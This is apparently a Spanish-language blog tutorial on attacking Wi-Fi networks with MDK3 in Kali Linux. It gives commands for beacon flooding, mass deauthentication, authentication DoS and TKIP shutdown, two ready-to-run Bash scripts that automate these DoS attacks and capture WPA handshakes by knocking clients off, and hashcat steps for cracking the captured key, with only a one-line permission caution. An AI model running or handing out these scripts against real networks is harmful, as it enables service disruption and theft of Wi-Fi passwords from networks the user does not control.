MDK3: Ataques a Redes Wi-Fi

  

https://www.onlinetis.com/es/ 

MDK3: Ataques a Redes Wi-Fi

MDK3 (Murder Death King 3) es una de las herramientas clásicas y más potentes en Kali Linux para realizar pruebas de estrés y ataques a redes inalámbricas (Wi-Fi). Se utiliza principalmente para explotar debilidades en los protocolos 802.11.

Aquí tienes una guía rápida de lo que puedes hacer con ella y cómo usarla:


¿Para qué sirve MDK3?

A diferencia de otras herramientas que se centran en descifrar contraseñas, MDK3 está diseñada para causar caos o probar la resistencia de un punto de acceso (AP). Sus funciones principales incluyen:

  • Desautenticación masiva: Desconectar a todos los usuarios de una red.

  • Beacon Flooding: Crear cientos de redes falsas para confundir a los escaneadores de Wi-Fi.

  • Ataques de denegación de servicio (DoS): Inundar el AP con solicitudes para que deje de responder.

  • Explotación de vulnerabilidades específicas: Como congelar routers o forzarlos a reiniciarse.


Comandos y Modos Principales

Para usar MDK3, primero debes poner tu tarjeta de red en modo monitor (usando airmon-ng start wlan0). Una vez lista, la sintaxis básica es:

mdk3 <interfaz> <modo> [opciones]

1. Inundación de Beacons (Modo b)

Crea una "lluvia" de nombres de red (SSIDs) falsos. Es útil para ocultar una red real o simplemente saturar el entorno.

  • Comando: mdk3 wlan0mon b -c 1

  • Opciones: -f <archivo> para usar una lista de nombres específicos, o -g para nombres aleatorios de 54 Mbps.

2. Desautenticación (Modo d)

Envía paquetes de "despedida" forzosos a los clientes conectados a un AP.

  • Comando: mdk3 wlan0mon d -w <whitelist>

  • Uso: Expulsa a todo el mundo de los canales indicados. Es muy agresivo.

3. Ataque de Autenticación DoS (Modo a)

Envía miles de solicitudes de autenticación a un router para llenar su tabla de clientes y dejarlo "congelado".

  • Comando: mdk3 wlan0mon a -a <MAC_del_AP>

4. Modo Michael Shutdown (Modo m)

Un ataque específico contra redes con cifrado TKIP (WPA1) que puede lograr que el router se apague o reinicie por "medidas de seguridad".

  • Comando: mdk3 wlan0mon m -t <MAC_del_AP>


Tabla de Modos Comunes

LetraFunciónObjetivo
bBeacon FloodCrear redes falsas.
aAuth DoSSaturar el router con conexiones falsas.
dDeauthenticationDesconectar clientes reales.
wWIDS ConfusionConfundir sistemas de detección de intrusos.
fFuzzerProbar paquetes corruptos para crashear dispositivos.

[!CAUTION]

Aviso de Seguridad: Utiliza MDK3 únicamente en redes de tu propiedad o con permiso explícito. Estos ataques son fácilmente detectables y pueden interferir con comunicaciones de emergencia si se usan de forma irresponsable.

 

Automatizar estas tareas con un script de Bash te permite ahorrar mucho tiempo en tu laboratorio de pruebas, especialmente para configurar el entorno antes de una auditoría.

Aquí tienes un script básico pero funcional. Este script hace tres cosas: detecta tu interfaz, la pone en modo monitor y te permite elegir qué ataque de MDK3 lanzar.

Script de Automatización: lab_mdk3.sh

Bash
#!/bin/bash

# Colores para la interfaz
GREEN='\033[0;32m'
RED='\033[0;31m'
NC='\033[0m' # No Color

echo -e "${GREEN}--- Panel de Control MDK3 ---${NC}"

# 1. Configurar Interfaz
read -p "Introduce tu interfaz de red (ej. wlan0): " IFACE
echo -e "${GREEN}[+] Poniendo $IFACE en modo monitor...${NC}"
airmon-ng start $IFACE
MON_IFACE="${IFACE}mon"

# 2. Menú de opciones
echo -e "\nSelecciona el ataque:"
echo "1) Beacon Flood (Redes falsas)"
echo "2) Auth DoS (Saturar Router)"
echo "3) Deauth (Desconectar a todos)"
echo "4) Salir y detener modo monitor"
read -p "Opción [1-4]: " OPT

case $OPT in
    1)
        echo "Lanzando Beacon Flood en $MON_IFACE..."
        mdk3 $MON_IFACE b -g
        ;;
    2)
        read -p "Introduce la MAC del Router (BSSID): " TARGET
        echo "Lanzando Auth DoS contra $TARGET..."
        mdk3 $MON_IFACE a -a $TARGET
        ;;
    3)
        echo "Lanzando Deautenticación Masiva..."
        mdk3 $MON_IFACE d
        ;;
    4)
        airmon-ng stop $MON_IFACE
        echo "Modo monitor desactivado. ¡Adiós!"
        exit 0
        ;;
    *)
        echo -e "${RED}Opción no válida.${NC}"
        ;;
esac

Cómo usarlo

  1. Crea el archivo: Abre tu terminal y escribe nano lab_mdk3.sh.

  2. Pega el código: Copia y pega el script de arriba.

  3. Guarda y sal: Presiona Ctrl + O (Enter) y luego Ctrl + X.

  4. Dale permisos: Para que el sistema te deje ejecutarlo, escribe:

    chmod +x lab_mdk3.sh

  5. Ejecútalo como Root:

    sudo ./lab_mdk3.sh

¿Qué está pasando técnicamente?

Cuando lanzas el Auth DoS (Opción 2), el script utiliza el protocolo de gestión de 802.11. MDK3 inunda al punto de acceso con tramas de autenticación falsas. El router intenta mantener un registro de todas estas "peticiones" en su memoria RAM; cuando se queda sin espacio, simplemente deja de aceptar clientes legítimos o se reinicia.

 

El Handshake (o "saludo de manos") es el momento crítico donde un dispositivo y el router intercambian las llaves para conectarse. Si lo capturamos mientras usamos MDK3 para desconectar a los usuarios, forzaremos a que se reconecten y así obtendremos el archivo necesario para crackear la contraseña.

Para esto, necesitaremos usar airodump-ng en segundo plano mientras mdk3 hace el trabajo sucio.

Aquí tienes la versión evolucionada del script:

Script: lab_handshake_mdk3.sh

Bash
#!/bin/bash

# Colores y Estilo
CYAN='\033[0;36m'
YELLOW='\033[1;33m'
NC='\033[0m'

echo -e "${CYAN}--- Capturador de Handshake con MDK3 ---${NC}"

# 1. Preparar Interfaz
read -p "Interfaz (ej. wlan0): " IFACE
airmon-ng start $IFACE
MON_IFACE="${IFACE}mon"

# 2. Escaneo de objetivos
echo -e "${YELLOW}[!] Presiona Ctrl+C cuando veas tu objetivo...${NC}"
sleep 2
airodump-ng $MON_IFACE

# 3. Datos del objetivo
read -p "Introduce el BSSID (MAC) del objetivo: " BSSID
read -p "Introduce el Canal (CH): " CHAN
read -p "Nombre para el archivo de captura: " FILE

# 4. Lanzar captura en segundo plano
echo -e "${CYAN}[+] Iniciando escucha en el canal $CHAN...${NC}"
# Abrimos una nueva terminal para ver la captura en tiempo real
xterm -e "airodump-ng -c $CHAN --bssid $BSSID -w $FILE $MON_IFACE" &

# 5. Lanzar MDK3 para forzar reconexión
echo -e "${YELLOW}[!] Lanzando MDK3 para forzar el Handshake...${NC}"
echo "Espera a que aparezca 'WPA Handshake' en la otra ventana."
mdk3 $MON_IFACE d -b white_list.txt -c $CHAN 
# Nota: puedes crear un archivo white_list.txt con tu propia MAC para no echarte a ti mismo.

# Limpieza al salir
airmon-ng stop $MON_IFACE
echo -e "${CYAN}Proceso finalizado. Revisa los archivos $FILE-01.cap${NC}"

¿Cómo funciona este proceso?

El ataque se basa en el ciclo de vida de la conexión Wi-Fi:

  1. Escucha: airodump-ng se queda "esperando" a que alguien se autentique.

  2. Interrupción: mdk3 envía paquetes de desautenticación. El cliente (móvil o laptop) pierde la conexión de repente.

  3. Reconexión: El dispositivo del usuario intenta conectarse automáticamente de nuevo al router.

  4. Captura: En ese microsegundo de reconexión, se intercambian los 4 paquetes del WPA 4-Way Handshake. airodump-ng los guarda en tu disco duro.

Herramientas adicionales

Una vez que tengas el archivo .cap, el siguiente paso lógico sería usar Hashcat o Aircrack-ng para probar diccionarios contra ese archivo.

Tip Pro: Si usas la opción d de MDK3, asegúrate de estar en el mismo canal (-c) que el router objetivo, de lo contrario estarás saltando por todos los canales y el ataque será mucho más lento.

 

Usar la tarjeta gráfica (GPU) es órdenes de magnitud más rápido que usar el procesador (CPU). Mientras que un procesador puede probar cientos o miles de contraseñas por segundo, una GPU moderna puede probar millones.

Para que Hashcat entienda el archivo .cap que capturaste con tu script, primero debemos convertirlo al formato moderno .hc22000.


1. Convertir el archivo .cap a .hc22000

Antiguamente se usaba el formato .hccapx, pero el estándar actual para WPA/WPA2 es el 22000. La forma más fácil de convertirlo en Kali es usando una herramienta llamada hcxtools.

Si no la tienes, instálala con:

sudo apt install hcxtools

Luego, ejecuta el comando de conversión:

hcxpcapngtool -o captura.hc22000 archivo_generado-01.cap

Este comando extraerá el Handshake válido y lo dejará listo para la "fuerza bruta".


2. El ataque con Hashcat (Usando tu GPU)

Ahora que tienes el archivo captura.hc22000, puedes lanzar el ataque. Hashcat detectará automáticamente tu tarjeta de video (Nvidia, AMD o Intel).

Comando básico de ataque por diccionario:

hashcat -m 22000 captura.hc22000 /ruta/al/diccionario.txt

  • -m 22000: Le dice a Hashcat que el objetivo es una red WPA2.

  • captura.hc22000: Es tu archivo convertido.

  • /usr/share/wordlists/rockyou.txt: El diccionario clásico de Kali (debes descomprimirlo primero si es la primera vez que lo usas).


3. Optimizando el rendimiento

Si quieres que Hashcat vuele, puedes añadir estos parámetros:

  • -w 3 o -w 4: (Workload profile) El nivel 3 o 4 pone a la GPU a trabajar a máxima potencia (tu PC podría ir lento mientras tanto).

  • -O: Activa "Optimized kernels", que es más rápido pero limita el tamaño máximo de la contraseña a 15 caracteres.

Ejemplo Pro:

hashcat -m 22000 -a 0 -w 4 captura.hc22000 diccionario.txt


Resumen del Flujo de Trabajo

PasoHerramientaAcción
1mdk3Desautentica clientes para forzar el Handshake.
2airodump-ngCaptura los paquetes en un archivo .cap.
3hcxpcapngtoolConvierte .cap a .hc22000.
4hashcatUsa la GPU para romper la clave con un diccionario.

[!TIP]

Si no tienes una GPU potente en tu máquina virtual, muchos investigadores usan Google Colab o servicios de nube para subir su archivo .hc22000 y crackearlo allí usando GPUs empresariales de forma gratuita o muy barata.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux